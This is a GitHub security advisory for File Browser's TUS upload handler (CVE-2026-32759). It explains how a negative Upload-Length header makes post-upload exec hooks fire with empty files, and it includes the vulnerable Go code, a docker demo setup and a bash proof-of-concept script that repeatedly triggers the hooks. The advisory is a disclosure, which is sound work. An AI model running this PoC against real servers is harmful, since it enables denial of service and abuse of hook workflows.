GHSA-FFX7-75GC-JG7C

Vulnerability from github – Published: 2026-03-16 20:43 – Updated: 2026-06-09 11:51
VLAI
Summary
File Browser TUS Negative Upload-Length Fires Post-Upload Hooks Prematurely
Details

[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.

For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.

Summary

The TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g. -1), the first PATCH request immediately satisfies the completion condition (newOffset >= uploadLength --> 0 >= -1), causing the server to fire after_upload exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured after_upload hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written.

Details

Affected file: http/tus_handlers.go

Vulnerable code - POST (register upload):

func getUploadLength(r *http.Request) (int64, error) {
    uploadOffset, err := strconv.ParseInt(r.Header.Get("Upload-Length"), 10, 64)
    if err != nil {
        return 0, fmt.Errorf("invalid upload length: %w", err)
    }
    return uploadOffset, nil
}

uploadLength, err := getUploadLength(r)
cache.Register(file.RealPath(), uploadLength)

Vulnerable code - PATCH (write chunk):

newOffset := uploadOffset + bytesWritten  
if newOffset >= uploadLength {            
    cache.Complete(file.RealPath())
    _ = d.RunHook(func() error { return nil }, "upload", r.URL.Path, "", d.user)
}

The completion check uses signed comparison. Any negative uploadLength is always less than newOffset ( which starts at 0 ), so the hook fires on the very first PATCH regardless of how many bytes were sent.

Consequence: An attacker with upload permission can: 1. Initiate a TUS upload for any filename with Upload-Length: -1 2. Send a PATCH with an empty body ( Upload-Offset: 0 ) 3. after_upload hook fires immediately with a 0-byte (or partial) file 4. Repeat indefinitely - each POST+PATCH cycle re-fires the hook

If exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents.

Demo Server Setup

docker run -d --name fb-tus \
  -p 8080:80 \
  -v /tmp/fb-tus:/srv \
  -e FB_EXECER=true \
  filebrowser/filebrowser:v2.31.2

ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin"}')

curl -s -X PUT http://localhost:8080/api/settings \
  -H "X-Auth: $ADMIN_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{
    "commands": {
      "after_upload": ["bash -c \"echo HOOK_FIRED: $FILE $(date) >> /tmp/hook_log.txt\""]
    }
  }'

PoC Exploit

#!/bin/bash

TARGET="http://localhost:8080"

TOKEN=$(curl -s -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Attack3r!pass"}')

echo "[*] Token: ${TOKEN:0:40}..."

FILENAME="/trigger_test_$(date +%s).txt"

echo "[*] Step 1: POST TUS upload with Upload-Length: -1"
curl -s -X POST "$TARGET/api/tus$FILENAME" \
  -H "X-Auth: $TOKEN" \
  -H "Upload-Length: -1" \
  -H "Content-Length: 0" \
  -v 2>&1 | grep -E "HTTP|Location"

echo ""
echo "[*] Step 2: PATCH with empty body (uploadOffset=0 >= uploadLength=-1 → hook fires)"
curl -s -X PATCH "$TARGET/api/tus$FILENAME" \
  -H "X-Auth: $TOKEN" \
  -H "Upload-Offset: 0" \
  -H "Content-Type: application/offset+octet-stream" \
  -H "Content-Length: 0" \
  -v 2>&1 | grep -E "HTTP|Upload"

echo ""
echo "[*] Checking hook log on server (/tmp/hook_log.txt)..."
echo "[*] If hook fired, you will see entries like:"
echo "    HOOK_FIRED: /srv/trigger_test_XXXX.txt <timestamp>"

echo ""
echo "[*] Repeating 5 times to demonstrate unlimited hook triggering..."
for i in $(seq 1 5); do
  FNAME="/spam_hook_$i.txt"
  curl -s -X POST "$TARGET/api/tus$FNAME" \
    -H "X-Auth: $TOKEN" \
    -H "Upload-Length: -1" \
    -H "Content-Length: 0" > /dev/null

  curl -s -X PATCH "$TARGET/api/tus$FNAME" \
    -H "X-Auth: $TOKEN" \
    -H "Upload-Offset: 0" \
    -H "Content-Type: application/offset+octet-stream" \
    -H "Content-Length: 0" > /dev/null

  echo "  Hook trigger $i sent"
done
echo "[*] Done - 5 hooks fired with 0 bytes uploaded."

Impact

Exec Hook Abuse (when enableExec = true):

An attacker can trigger any after_upload exec hook an unlimited number of times with attacker-controlled filenames and empty file contents. Depending on the hook's purpose, this enables:

  • Denial of Service:

Triggering expensive processing hooks ( virus scanning, transcoding, ML inference ) with zero cost on the attacker's side.

  • Command Injection amplification:

Combined with the hook injection vulnerability (malicious filename + shell-wrapped hook), each trigger becomes a separate RCE.

  • Business logic abuse:

Triggering upload-driven workflows ( S3 ingestion, database inserts, notifications ) with empty payloads or arbitrary filenames.

Hook-free impact:

Even without exec hooks, a negative Upload-Length creates an inconsistent cache entry. The file is marked "complete" in the upload cache immediately, but the underlying file may be 0 bytes. Any subsequent read expecting a complete file will receive an empty file.

Who is affected:

All deployments using the TUS upload endpoint (/api/tus). The enableExec flag amplifies the impact from cache inconsistency to remote command execution.

Resolution

This vulnerability has not been addressed, and has been added to the issue where we're tracking all security vulnerabilities regarding the command execution (https://github.com/filebrowser/filebrowser/issues/5199). Command execution is disabled by default for all installations and users are warned if they enable it. This feature is not to be used in untrusted environments and we recommend to not use it.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.33.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32759"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T20:43:29Z",
    "nvd_published_at": "2026-03-20T00:16:17Z",
    "severity": "MODERATE"
  },
  "details": "\u003e [!NOTE]\n\u003e **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We\u0027re publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.\n\u003e\n\u003e For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.\n\n## Summary\nThe TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g. -1), the first PATCH request immediately satisfies the completion condition (newOffset \u003e= uploadLength --\u003e 0 \u003e= -1), causing the server to fire after_upload exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured after_upload hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written.\n\n## Details\n\n**Affected file:** http/tus_handlers.go\n\n**Vulnerable code - POST (register upload):**\n```go\nfunc getUploadLength(r *http.Request) (int64, error) {\n    uploadOffset, err := strconv.ParseInt(r.Header.Get(\"Upload-Length\"), 10, 64)\n    if err != nil {\n        return 0, fmt.Errorf(\"invalid upload length: %w\", err)\n    }\n    return uploadOffset, nil\n}\n\nuploadLength, err := getUploadLength(r)\ncache.Register(file.RealPath(), uploadLength)\n```\n\n**Vulnerable code - PATCH (write chunk):**\n```go\nnewOffset := uploadOffset + bytesWritten  \nif newOffset \u003e= uploadLength {            \n    cache.Complete(file.RealPath())\n    _ = d.RunHook(func() error { return nil }, \"upload\", r.URL.Path, \"\", d.user)\n}\n```\n\n**The completion check uses signed comparison.** Any negative uploadLength is always less than newOffset ( which starts at 0 ), so the hook fires on the very first PATCH regardless of how many bytes were sent.\n\n**Consequence:** An attacker with upload permission can:\n1. Initiate a TUS upload for any filename with Upload-Length: -1\n2. Send a PATCH with an empty body ( Upload-Offset: 0 )\n3. after_upload hook fires immediately with a 0-byte (or partial) file\n4. Repeat indefinitely - each POST+PATCH cycle re-fires the hook\n\nIf exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents.\n\n## Demo Server Setup\n\n```bash\ndocker run -d --name fb-tus \\\n  -p 8080:80 \\\n  -v /tmp/fb-tus:/srv \\\n  -e FB_EXECER=true \\\n  filebrowser/filebrowser:v2.31.2\n\nADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"admin\",\"password\":\"admin\"}\u0027)\n\ncurl -s -X PUT http://localhost:8080/api/settings \\\n  -H \"X-Auth: $ADMIN_TOKEN\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"commands\": {\n      \"after_upload\": [\"bash -c \\\"echo HOOK_FIRED: $FILE $(date) \u003e\u003e /tmp/hook_log.txt\\\"\"]\n    }\n  }\u0027\n```\n\n## PoC Exploit\n\n```bash\n#!/bin/bash\n\nTARGET=\"http://localhost:8080\"\n\nTOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}\u0027)\n\necho \"[*] Token: ${TOKEN:0:40}...\"\n\nFILENAME=\"/trigger_test_$(date +%s).txt\"\n\necho \"[*] Step 1: POST TUS upload with Upload-Length: -1\"\ncurl -s -X POST \"$TARGET/api/tus$FILENAME\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Upload-Length: -1\" \\\n  -H \"Content-Length: 0\" \\\n  -v 2\u003e\u00261 | grep -E \"HTTP|Location\"\n\necho \"\"\necho \"[*] Step 2: PATCH with empty body (uploadOffset=0 \u003e= uploadLength=-1 \u2192 hook fires)\"\ncurl -s -X PATCH \"$TARGET/api/tus$FILENAME\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Upload-Offset: 0\" \\\n  -H \"Content-Type: application/offset+octet-stream\" \\\n  -H \"Content-Length: 0\" \\\n  -v 2\u003e\u00261 | grep -E \"HTTP|Upload\"\n\necho \"\"\necho \"[*] Checking hook log on server (/tmp/hook_log.txt)...\"\necho \"[*] If hook fired, you will see entries like:\"\necho \"    HOOK_FIRED: /srv/trigger_test_XXXX.txt \u003ctimestamp\u003e\"\n\necho \"\"\necho \"[*] Repeating 5 times to demonstrate unlimited hook triggering...\"\nfor i in $(seq 1 5); do\n  FNAME=\"/spam_hook_$i.txt\"\n  curl -s -X POST \"$TARGET/api/tus$FNAME\" \\\n    -H \"X-Auth: $TOKEN\" \\\n    -H \"Upload-Length: -1\" \\\n    -H \"Content-Length: 0\" \u003e /dev/null\n  \n  curl -s -X PATCH \"$TARGET/api/tus$FNAME\" \\\n    -H \"X-Auth: $TOKEN\" \\\n    -H \"Upload-Offset: 0\" \\\n    -H \"Content-Type: application/offset+octet-stream\" \\\n    -H \"Content-Length: 0\" \u003e /dev/null\n  \n  echo \"  Hook trigger $i sent\"\ndone\necho \"[*] Done - 5 hooks fired with 0 bytes uploaded.\"\n```\n\n## Impact\n\n**Exec Hook Abuse (when enableExec = true):**\n\nAn attacker can trigger any after_upload exec hook an unlimited number of times with attacker-controlled filenames and empty file contents. Depending on the hook\u0027s purpose, this enables:\n\n- **Denial of Service:**\n\nTriggering expensive processing hooks ( virus scanning, transcoding, ML inference ) with zero cost on the attacker\u0027s side.\n\n- **Command Injection amplification:**\n\nCombined with the hook injection vulnerability (malicious filename + shell-wrapped hook), each trigger becomes a separate RCE.\n\n- **Business logic abuse:** \n\nTriggering upload-driven workflows ( S3 ingestion, database inserts, notifications ) with empty payloads or arbitrary filenames.\n\n**Hook-free impact:**\n\nEven without exec hooks, a negative Upload-Length creates an inconsistent cache entry. The file is marked \"complete\" in the upload cache immediately, but the underlying file may be 0 bytes. Any subsequent read expecting a complete file will receive an empty file.\n\n**Who is affected:**\n\nAll deployments using the TUS upload endpoint (`/api/tus`). The `enableExec` flag amplifies the impact from cache inconsistency to remote command execution.\n\n## Resolution\n\nThis vulnerability has not been addressed, and has been added to the issue where we\u0027re tracking all security vulnerabilities regarding the command execution (https://github.com/filebrowser/filebrowser/issues/5199). Command execution is disabled by default for all installations and users are warned if they enable it. This feature is not to be used in untrusted environments and we recommend to not use it.",
  "id": "GHSA-ffx7-75gc-jg7c",
  "modified": "2026-06-09T11:51:25Z",
  "published": "2026-03-16T20:43:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-ffx7-75gc-jg7c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32759"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/issues/5199"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "File Browser TUS Negative Upload-Length Fires Post-Upload Hooks Prematurely"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…